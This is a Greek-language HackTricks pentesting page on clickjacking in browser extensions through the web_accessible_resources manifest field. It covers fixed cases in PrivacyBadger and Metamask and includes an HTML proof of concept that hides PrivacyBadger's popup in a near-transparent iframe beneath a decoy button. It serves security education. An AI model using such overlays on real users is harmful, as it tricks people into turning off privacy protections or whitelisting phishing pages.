hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

9.6 KiB
Raw Blame History

BrowExt - ClickJacking

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!

Άλλοι τρόποι υποστήριξης των HackTricks:

Βασικές Πληροφορίες

Αυτή η σελίδα θα εκμεταλλευτεί μια ευπάθεια ClickJacking σε ένα πρόσθετο περιήγησης.
Αν δεν ξέρετε τι είναι το ClickJacking ελέγξτε:

{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}

Τα πρόσθετα περιέχουν το αρχείο manifest.json και αυτό το αρχείο JSON έχει ένα πεδίο web_accessible_resources. Αυτό είναι τι λένε τα έγγραφα του Chrome γι' αυτό:

Αυτοί οι πόροι θα είναι διαθέσιμοι σε μια ιστοσελίδα μέσω του URL chrome-extension://[ID ΠΑΚΕΤΟΥ]/[ΔΙΑΔΡΟΜΗ], το οποίο μπορεί να δημιουργηθεί με τη μέθοδο extension.getURL. Οι πόροι που έχουν εγκριθεί εξυπηρετούνται με κατάλληλους κεφαλίδες CORS, έτσι είναι διαθέσιμοι μέσω μηχανισμών όπως το XHR.1

Οι web_accessible_resources σε ένα πρόσθετο περιήγησης δεν είναι μόνο προσβάσιμοι μέσω του web· λειτουργούν επίσης με τα ενσωματωμένα προνόμια του πρόσθετου. Αυτό σημαίνει ότι έχουν τη δυνατότητα να:

  • Αλλάξουν την κατάσταση του πρόσθετου
  • Φορτώσουν επιπλέον πόρους
  • Αλληλεπιδρούν με τον περιηγητή σε μια συγκεκριμένη έκταση

Ωστόσο, αυτό το χαρακτηριστικό αποτελεί κίνδυνο για την ασφάλεια. Αν ένας πόρος εντός των web_accessible_resources έχει οποιαδήποτε σημαντική λειτουργικότητα, ένας επιτιθέμενος θα μπορούσε πιθανόν να ενσωματώσει αυτόν τον πόρο σε μια εξωτερική ιστοσελίδα. Ανυποψίαστοι χρήστες που επισκέπτονται αυτήν τη σελίδα θα μπορούσαν ακούσια να ενεργοποιήσουν αυτόν τον ενσωματωμένο πόρο. Αυτή η ενεργοποίηση θα μπορούσε να οδηγήσει σε μη επιθυμητές συνέπειες, ανάλογα με τις άδειες και τις δυνατότητες των πόρων του πρόσθετου.

Παράδειγμα PrivacyBadger

Στο πρόσθετο PrivacyBadger, εντοπίστηκε μια ευπάθεια που σχετίζεται με τον καθορισμό του καταλόγου skin/ ως web_accessible_resources με τον ακόλουθο τρόπο (Ελέγξτε την αρχική ανάρτηση στο blog):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

Αυτή η διαμόρφωση οδήγησε σε ένα πιθανό θέμα ασφαλείας. Συγκεκριμένα, το αρχείο skin/popup.html, το οποίο αναπαρίσταται κατά τη διάδραση με το εικονίδιο του PrivacyBadger στο πρόγραμμα περιήγησης, θα μπορούσε να ενσωματωθεί μέσα σε ένα iframe. Αυτή η ενσωμάτωση θα μπορούσε να εκμεταλλευτεί για να απατήσει τους χρήστες ώστε να κάνουν κλικ κατά λάθος στο "Απενεργοποίηση του PrivacyBadger για αυτόν τον Ιστότοπο". Μια τέτοια ενέργεια θα θέτει σε κίνδυνο την ιδιωτικότητα του χρήστη απενεργοποιώντας την προστασία του PrivacyBadger και πιθανώς εκθέτοντας το χρήστη σε αυξημένη παρακολούθηση. Μια οπτική επίδειξη αυτής της εκμετάλλευσης μπορεί να προβληθεί σε ένα παράδειγμα βίντεο ClickJacking που παρέχεται στο https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Για να αντιμετωπιστεί αυτή η ευπάθεια, εφαρμόστηκε μια απλή λύση: η αφαίρεση του /skin/* από τη λίστα των web_accessible_resources. Αυτή η αλλαγή αντιμετώπισε αποτελεσματικά τον κίνδυνο εξασφαλίζοντας ότι το περιεχόμενο του καταλόγου skin/ δεν θα μπορούσε να προσπελαστεί ή να χειριστεί μέσω πόρων προσβάσιμων μέσω του διαδικτύου.

Η επιδιόρθωση ήταν εύκολη: αφαιρέστε το /skin/* από τα web_accessible_resources.

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Παράδειγμα Metamask

Ένα άρθρο για ένα ClickJacking στο metamask μπορεί να βρεθεί εδώ. Σε αυτήν την περίπτωση, το Metamask διόρθωσε την ευπάθεια ελέγχοντας ότι το πρωτόκολλο που χρησιμοποιήθηκε για την πρόσβασή του ήταν https: ή http: (και όχι chrome: για παράδειγμα):

Ένα άλλο ClickJacking που διορθώθηκε στην επέκταση του Metamask ήταν ότι οι χρήστες μπορούσαν να Κάνουν κλικ για να προσθέσουν στη λευκή λίστα όταν μια σελίδα φαινόταν ύποπτη για phishing λόγω του “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Καθώς αυτή η σελίδα ήταν ευάλωτη στο Clickjacking, ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί δείχνοντας κάτι φυσιολογικό για να κάνει το θύμα να κάνει κλικ για να το προσθέσει στη λευκή λίστα χωρίς να το παρατηρήσει, και στη συνέχεια να επιστρέψει στη σελίδα phishing που θα έχει προστεθεί στη λευκή λίστα.

Παράδειγμα Steam Inventory Helper

Ελέγξτε την παρακάτω σελίδα για να δείτε πώς ένα XSS σε μια επέκταση προγράμματος περιήγησης συνδυάστηκε με μια ευπάθεια ClickJacking:

{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}

Αναφορές